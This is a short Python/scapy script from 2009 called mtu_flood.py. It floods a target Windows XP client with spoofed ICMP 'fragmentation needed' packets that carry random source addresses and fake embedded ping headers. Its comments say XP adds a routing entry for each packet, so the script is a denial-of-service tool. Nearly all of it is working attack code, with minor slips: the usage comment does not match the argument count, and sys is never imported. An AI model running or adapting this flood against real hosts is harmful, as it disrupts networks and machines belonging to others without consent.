#! /usr/bin/env python
#
# mtu_flood.py client_ip server_ip rouer_ip mtu
#
# (c) 2009 by packetlevel.ch 
#
# version 0.1 / 8.Nov.2009
#
#
# based on 
# ICMP message Type 3 code 4 (destination unreachable, don't fragment (DF) bit sent and fragmentation required)
# 
# Windows XP create for each packet a routing entry
#
# import requert parts
#
from scapy.all import *
from sys import argv 
from sys import exit
#
# command line options
#
if len(argv) !=4:
   print"Usage:\n\tmtu_flood.py XP_Client_IP MTU count"
   print"\tExample mtu_flood.py 192.168.0.12 1000 100"
   sys.exit(0)

ip_client = argv[1]
mtu = int(argv[2])
c = int(argv[3])
#
# build answer packet
#
ip = IP()
icmp = ICMP()
#
# IP Packet sent to client
#
ip.dst = ip_client
#
# icmp type 3 + code 4 
#
icmp.type = 3
icmp.code = 4
icmp.unused = mtu
#
# build original packet for ICMP ping request
#
ip_orig = IP()
ip_orig.src = ip_client
icmp_orig = ICMP()
icmp_orig.type = 8 
icmp_orig.code = 0 
#
# send the packet
#
for i in range(0, c):
  ip.src = RandIP()
  ip_orig.dst = RandIP()   
  send (ip/icmp/ip_orig/icmp_orig)

else:
  print "Ufff, work done.."